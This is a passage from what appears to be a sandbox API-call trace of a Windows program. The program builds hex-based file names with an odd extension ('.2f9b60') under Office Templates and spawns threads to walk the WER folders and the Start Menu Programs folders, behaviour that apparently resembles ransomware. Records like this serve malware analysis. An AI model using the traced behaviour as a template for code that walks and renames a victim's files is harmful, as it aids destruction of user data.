lpNumberOfBytesWritten=0x1d70fa90*=0x158, lpOverlapped=0x0) returned 1 [0206.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61510 [0206.067] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb160 [0206.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1fa0 [0206.068] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1fa0) returned 1 [0206.068] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1cdb1fa0 [0206.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f70 [0206.069] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1f10 [0206.069] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb1f10) returned 1 [0206.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb160) returned 1 [0206.070] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61510) returned 1 [0206.070] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4d) returned 0x431f9900 [0206.070] sprintf (in: _Dest=0x431f9900, _Format="%c%c" | out: _Dest="6b") returned 2 [0206.070] sprintf (in: _Dest=0x431f9902, _Format="%c%c" | out: _Dest="63") returned 2 [0206.070] sprintf (in: _Dest=0x431f9904, _Format="%c%c" | out: _Dest="77") returned 2 [0206.070] sprintf (in: _Dest=0x431f9906, _Format="%c%c" | out: _Dest="d0") returned 2 [0206.071] sprintf (in: _Dest=0x431f9908, _Format="%c%c" | out: _Dest="58") returned 2 [0206.071] sprintf (in: _Dest=0x431f990a, _Format="%c%c" | out: _Dest="97") returned 2 [0206.071] sprintf (in: _Dest=0x431f990c, _Format="%c%c" | out: _Dest="ff") returned 2 [0206.071] sprintf (in: _Dest=0x431f990e, _Format="%c%c" | out: _Dest="ae") returned 2 [0206.071] sprintf (in: _Dest=0x431f9910, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.071] sprintf (in: _Dest=0x431f9912, _Format="%c%c" | out: _Dest="f5") returned 2 [0206.071] sprintf (in: _Dest=0x431f9914, _Format="%c%c" | out: _Dest="1b") returned 2 [0206.071] sprintf (in: _Dest=0x431f9916, _Format="%c%c" | out: _Dest="32") returned 2 [0206.071] sprintf (in: _Dest=0x431f9918, _Format="%c%c" | out: _Dest="2c") returned 2 [0206.071] sprintf (in: _Dest=0x431f991a, _Format="%c%c" | out: _Dest="5f") returned 2 [0206.071] sprintf (in: _Dest=0x431f991c, _Format="%c%c" | out: _Dest="c7") returned 2 [0206.071] sprintf (in: _Dest=0x431f991e, _Format="%c%c" | out: _Dest="f3") returned 2 [0206.071] sprintf (in: _Dest=0x431f9920, _Format="%c%c" | out: _Dest="0a") returned 2 [0206.071] sprintf (in: _Dest=0x431f9922, _Format="%c%c" | out: _Dest="a9") returned 2 [0206.071] sprintf (in: _Dest=0x431f9924, _Format="%c%c" | out: _Dest="48") returned 2 [0206.071] sprintf (in: _Dest=0x431f9926, _Format="%c%c" | out: _Dest="f5") returned 2 [0206.071] sprintf (in: _Dest=0x431f9928, _Format="%c%c" | out: _Dest="1b") returned 2 [0206.071] sprintf (in: _Dest=0x431f992a, _Format="%c%c" | out: _Dest="53") returned 2 [0206.071] sprintf (in: _Dest=0x431f992c, _Format="%c%c" | out: _Dest="92") returned 2 [0206.071] sprintf (in: _Dest=0x431f992e, _Format="%c%c" | out: _Dest="d2") returned 2 [0206.071] sprintf (in: _Dest=0x431f9930, _Format="%c%c" | out: _Dest="eb") returned 2 [0206.071] sprintf (in: _Dest=0x431f9932, _Format="%c%c" | out: _Dest="4d") returned 2 [0206.071] sprintf (in: _Dest=0x431f9934, _Format="%c%c" | out: _Dest="ca") returned 2 [0206.071] sprintf (in: _Dest=0x431f9936, _Format="%c%c" | out: _Dest="2a") returned 2 [0206.071] sprintf (in: _Dest=0x431f9938, _Format="%c%c" | out: _Dest="a5") returned 2 [0206.071] sprintf (in: _Dest=0x431f993a, _Format="%c%c" | out: _Dest="06") returned 2 [0206.071] sprintf (in: _Dest=0x431f993c, _Format="%c%c" | out: _Dest="0b") returned 2 [0206.071] sprintf (in: _Dest=0x431f993e, _Format="%c%c" | out: _Dest="34") returned 2 [0206.071] sprintf (in: _Dest=0x431f9940, _Format="%c%c" | out: _Dest="ca") returned 2 [0206.071] sprintf (in: _Dest=0x431f9942, _Format="%c%c" | out: _Dest="23") returned 2 [0206.071] sprintf (in: _Dest=0x431f9944, _Format="%c%c" | out: _Dest="da") returned 2 [0206.071] sprintf (in: _Dest=0x431f9946, _Format="%c%c" | out: _Dest="57") returned 2 [0206.071] sprintf (in: _Dest=0x431f9948, _Format="%c%c" | out: _Dest="59") returned 2 [0206.072] sprintf (in: _Dest=0x431f994a, _Format="%c%c" | out: _Dest="9e") returned 2 [0206.072] RtlInitAnsiString (in: DestinationString=0x1d70fb08, SourceString="6b6377d05897ffae0af51b322c5fc7f30aa948f51b5392d2eb4dca2aa5060b34ca23da57599e" | out: DestinationString="6b6377d05897ffae0af51b322c5fc7f30aa948f51b5392d2eb4dca2aa5060b34ca23da57599e") [0206.072] RtlAnsiStringToUnicodeString (in: DestinationString=0x1d70fad8, SourceString="6b6377d05897ffae0af51b322c5fc7f30aa948f51b5392d2eb4dca2aa5060b34ca23da57599e", AllocateDestinationString=1 | out: DestinationString="6b6377d05897ffae0af51b322c5fc7f30aa948f51b5392d2eb4dca2aa5060b34ca23da57599e") returned 0x0 [0206.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9a) returned 0x43132090 [0206.072] wcscat (in: _Dest=0x431c59e0, _Source="6b6377d05897ffae0af" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6b6377d05897ffae0af") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6b6377d05897ffae0af" [0206.072] wcscat (in: _Dest=0x431c59e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6b6377d05897ffae0af.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6b6377d05897ffae0af.2f9b60" [0206.072] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\6b6377d05897ffae0af.2f9b60", NtPathName=0x1d70fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\6b6377d05897ffae0af.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0206.072] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x42c37c50 Thread: id = 2286 os_tid = 0x1c14 [0144.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x66) returned 0x1ced9550 [0144.145] wcscpy (in: _Dest=0x1ced9550, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue" [0144.145] wcscat (in: _Dest=0x1ced9550, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\" [0144.145] wcscat (in: _Dest=0x1ced9550, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*" [0144.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4760 [0144.145] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportQueue\\*", lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd867f0 [0144.146] wcscmp (_String1=".", _String2=".") returned 0 [0144.146] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.146] wcscmp (_String1="..", _String2=".") returned 1 [0144.146] wcscmp (_String1="..", _String2="..") returned 0 [0144.146] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x810, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fb59300, ftLastAccessTime.dwHighDateTime=0x1d42023, ftLastWriteTime.dwLowDateTime=0x2fb59300, ftLastWriteTime.dwHighDateTime=0x1d42023, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.146] FindClose (in: hFindFile=0x1cd867f0 | out: hFindFile=0x1cd867f0) returned 1 [0144.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4760) returned 1 [0144.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9550) returned 1 [0144.147] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c1db0) returned 1 Thread: id = 2287 os_tid = 0x1c10 [0144.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1ce59ab0 [0144.153] wcscpy (in: _Dest=0x1ce59ab0, _Source="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive" [0144.153] wcscat (in: _Dest=0x1ce59ab0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\" [0144.153] wcscat (in: _Dest=0x1ce59ab0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*" [0144.153] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4760 [0144.154] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\WER\\ReportArchive\\*", lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd867f0 [0144.154] wcscmp (_String1=".", _String2=".") returned 0 [0144.154] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.154] wcscmp (_String1="..", _String2=".") returned 1 [0144.154] wcscmp (_String1="..", _String2="..") returned 0 [0144.154] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0x9a0a5fd1, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0144.154] FindClose (in: hFindFile=0x1cd867f0 | out: hFindFile=0x1cd867f0) returned 1 [0144.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cec4760) returned 1 [0144.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59ab0) returned 1 [0144.155] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9710) returned 1 Thread: id = 2288 os_tid = 0x1c0c [0144.157] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1ce59ab0 [0144.157] wcscpy (in: _Dest=0x1ce59ab0, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0144.157] wcscat (in: _Dest=0x1ce59ab0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0144.157] wcscat (in: _Dest=0x1ce59ab0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*" [0144.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cec4760 [0144.158] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\*", lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd867f0 [0144.158] wcscmp (_String1=".", _String2=".") returned 0 [0144.158] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x78038410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78038410, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0144.158] wcscmp (_String1="..", _String2=".") returned 1 [0144.158] wcscmp (_String1="..", _String2="..") returned 0 [0144.158] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x81caf400, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x8246bb80, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Accessories", cAlternateFileName="ACCESS~1")) returned 1 [0144.158] wcscmp (_String1="Accessories", _String2=".") returned 1 [0144.158] wcscmp (_String1="Accessories", _String2="..") returned 1 [0144.158] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x2050a650 [0144.159] wcscpy (in: _Dest=0x2050a650, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0144.159] wcscat (in: _Dest=0x2050a650, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0144.159] wcscat (in: _Dest=0x2050a650, _Source="Accessories" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories" [0151.216] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2050a650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d44 [0151.216] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x81c3cfe0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x81c3cfe0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrative Tools", cAlternateFileName="ADMINI~1")) returned 1 [0151.216] wcscmp (_String1="Administrative Tools", _String2=".") returned 1 [0151.216] wcscmp (_String1="Administrative Tools", _String2="..") returned 1 [0151.216] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x202b1e10 [0151.217] wcscpy (in: _Dest=0x202b1e10, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0151.217] wcscat (in: _Dest=0x202b1e10, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0151.217] wcscat (in: _Dest=0x202b1e10, _Source="Administrative Tools" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Administrative Tools" [0151.217] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x202b1e10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x247c [0151.218] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x83c01860, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x83c01860, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x83c01860, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x989, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe Reader X.lnk", cAlternateFileName="ADOBER~1.LNK")) returned 1 [0151.218] wcscmp (_String1="Adobe Reader X.lnk", _String2=".") returned 1 [0151.218] wcscmp (_String1="Adobe Reader X.lnk", _String2="..") returned 1 [0151.218] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x46a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0151.218] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0151.218] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0151.218] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa224bfc3, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa224bfc3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Games", cAlternateFileName="")) returned 1 [0151.218] wcscmp (_String1="Games", _String2=".") returned 1 [0151.218] wcscmp (_String1="Games", _String2="..") returned 1 [0151.218] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x1b85dd90 [0151.218] wcscpy (in: _Dest=0x1b85dd90, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0151.218] wcscat (in: _Dest=0x1b85dd90, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0151.218] wcscat (in: _Dest=0x1b85dd90, _Source="Games" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Games" [0151.218] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85dd90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2480 [0151.219] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7df47e00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7df47e00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7df47e00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="Google Chrome.lnk", cAlternateFileName="GOOGLE~1.LNK")) returned 1 [0151.219] wcscmp (_String1="Google Chrome.lnk", _String2=".") returned 1 [0151.219] wcscmp (_String1="Google Chrome.lnk", _String2="..") returned 1 [0151.219] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7577bc60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x762ca4e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x762ca4e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0151.219] wcscmp (_String1="Java", _String2=".") returned 1 [0151.219] wcscmp (_String1="Java", _String2="..") returned 1 [0151.219] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b85f310 [0151.219] wcscpy (in: _Dest=0x1b85f310, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0151.219] wcscat (in: _Dest=0x1b85f310, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0151.219] wcscat (in: _Dest=0x1b85f310, _Source="Java" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Java" [0151.220] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85f310, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2484 [0151.220] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x8ab46fc5, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x8ab6d126, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Maintenance", cAlternateFileName="MAINTE~1")) returned 1 [0151.220] wcscmp (_String1="Maintenance", _String2=".") returned 1 [0151.221] wcscmp (_String1="Maintenance", _String2="..") returned 1 [0151.221] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1b86a740 [0151.221] wcscpy (in: _Dest=0x1b86a740, _Source="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs" [0151.221] wcscat (in: _Dest=0x1b86a740, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\" [0151.221] wcscat (in: _Dest=0x1b86a740, _Source="Maintenance" | out: _Dest="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance") returned="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance" [0151.221] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b86a740, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2488 [0151.222] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x824ddfa0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x824ddfa0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x824ddfa0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x541, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Center.lnk", cAlternateFileName="MEDIAC~1.LNK")) returned 1 [0151.222] wcscmp (_String1="Media Center.lnk", _String2=".") returned 1 [0151.222] wcscmp (_String1="Media Center.lnk", _String2="..") returned 1 [0151.222] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1cec4760 | out: lpFindFileData=0x1cec4760*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x77f53bd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 